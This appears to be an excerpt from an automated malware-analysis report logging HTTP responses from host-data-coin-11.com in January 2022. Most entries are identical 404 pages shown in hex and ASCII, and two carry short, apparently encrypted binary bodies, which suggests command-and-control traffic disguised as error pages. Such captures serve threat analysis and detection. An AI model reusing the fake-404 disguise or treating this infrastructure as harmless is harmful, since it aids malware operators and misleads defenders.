Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 14 Jan 2022 19:23:17 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 14 Jan 2022 19:23:17 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 14 Jan 2022 19:23:17 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 36 36 0d 0a 00 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad 9f 1c 4f 8e 84 42 09 25 16 f9 b5 8f bd b8 15 a5 0c ce 2c b4 59 52 db 04 e5 fd 28 e3 22 58 1b b2 ed cf 00 b4 51 da 44 d0 f8 20 8c 21 ea ad 96 56 2c e4 b4 48 2b e3 b3 b6 68 f3 9a b9 59 a8 77 9f cb 31 41 5b 3d 03 4b de bb 4b bb ff 5b 91 ad d3 02 c4 60 9d d2 69 0d 0a 30 0d 0a 0d 0a Data Ascii: 66I:82OB%,YR("XQD !V,H+hYw1A[=KK[`i0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 14 Jan 2022 19:23:19 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 14 Jan 2022 19:23:20 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 14 Jan 2022 19:23:20 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 32 63 0d 0a 00 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad d6 09 4f 90 df 1e 49 3a 44 a6 e8 de ea e4 40 fd 45 91 6e b8 57 5b 91 17 bf ec 31 e5 0d 0a 30 0d 0a 0d 0a Data Ascii: 2cI:82OI:D@EnW[10
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 14 Jan 2022 19:23:41 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 14 Jan 2022 19:23:42 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 14 Jan 2022 19:23:42 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 14 Jan 2022 19:23:42 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 14 Jan 2022 19:23:43 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 14 Jan 2022 19:23:43 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 14 Jan 2022 19:23:43 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0
